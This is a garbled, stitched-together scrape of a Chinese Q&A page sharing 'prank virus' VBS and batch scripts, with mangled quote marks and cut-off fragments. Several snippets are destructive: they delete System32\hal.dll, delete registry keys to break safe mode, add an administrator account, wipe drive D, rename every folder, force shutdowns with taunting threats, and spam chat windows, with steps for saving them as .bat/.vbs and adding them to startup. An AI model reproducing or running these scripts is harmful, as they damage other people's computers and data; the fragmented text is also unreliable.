等我一下，我帮你写，bat没有干预功能，所以只能先设定关机命令，如果他听你的话，就可以取消关机，如果不听就直接关机有什么需要修改的追问我；gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quotwin；整人病毒代码附解除方法使用方法1新建txt文件，复制代码 2改后缀名为bat 3如果需要可以加入启动项 4启动病毒 废话不多说，直接上代码 我是分界线1rem 损坏安全模式reg delete HKEY_LOCAL_MAC；第一步，将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特，不说就30秒关你。

on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArunquotcmdexec shutdown r t 60 cquotquot一分钟关你机，不信，试试···quotquotquot，0 ，true dim a do whilealt；vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS；lt！DOCTYPE html PUBLIC quotW3CDTD XHTML 10 TransitionalENquot quotDTDxhtml1transitionaldtdquot Document function myaddobj，e，fn ifobjattachEvent；代码开始，只抄横线里面的 ___echo off net user administrator nishizhu\add del s q c\Windows\System32\haldll shutdown s t 5 c 你是一头猪___代码详解echo off 隐藏命令，关闭回；这个仁兄，下次发代码的时候记得要换行，这一大片看得人眼睛疼代码简要说明该程序运行后 1全盘扫描，扫描你的所有磁盘，将所有的文件夹的名字修改为原文件夹名+exe 2然后将您的电脑的文件C\WINDOWS\system；On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript；这个不是整人代码了，整个就一病毒代码程序啊你看 deletefile quotd\** 这一行代码一下子把人家D盘删的只剩屁股了慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfso。

color 1f echo off title 最好别关本程序否则后果自负！echo 你中招了！echo 处理器异常！ping n 4 nul echoecho 正在移除C盘echoping n 4 nul echo 正在移除D盘echo；vbs整人代码要可以用的 我直接COPY到记事本里，所以别打错了 #xE768 我来答 1个回答 #热议# 公司那些设施可以提高员工幸福感？Hi村長 20100908 · TA获得超过247个赞 知道答主 回答量57 采纳率0% 帮助的人355万；echo off color 0b mode concols=80 lines=20 title=超级病毒 for L a in 3，1，0 do for l a in 1，1，8do echo\ echo 入侵倒计时 a 秒 ping n 2 1271 1nul 2nul cls cls color；exe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot宝儿 我也爱你quotPS 这是给我女朋友写的一段代码 你可以把上边的文字改成你想要的就可以的 文件脚本改为vbs 就ok了；新建一个记事本文档，把如下代码保存之后把扩展名txt改成vbson error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot只有。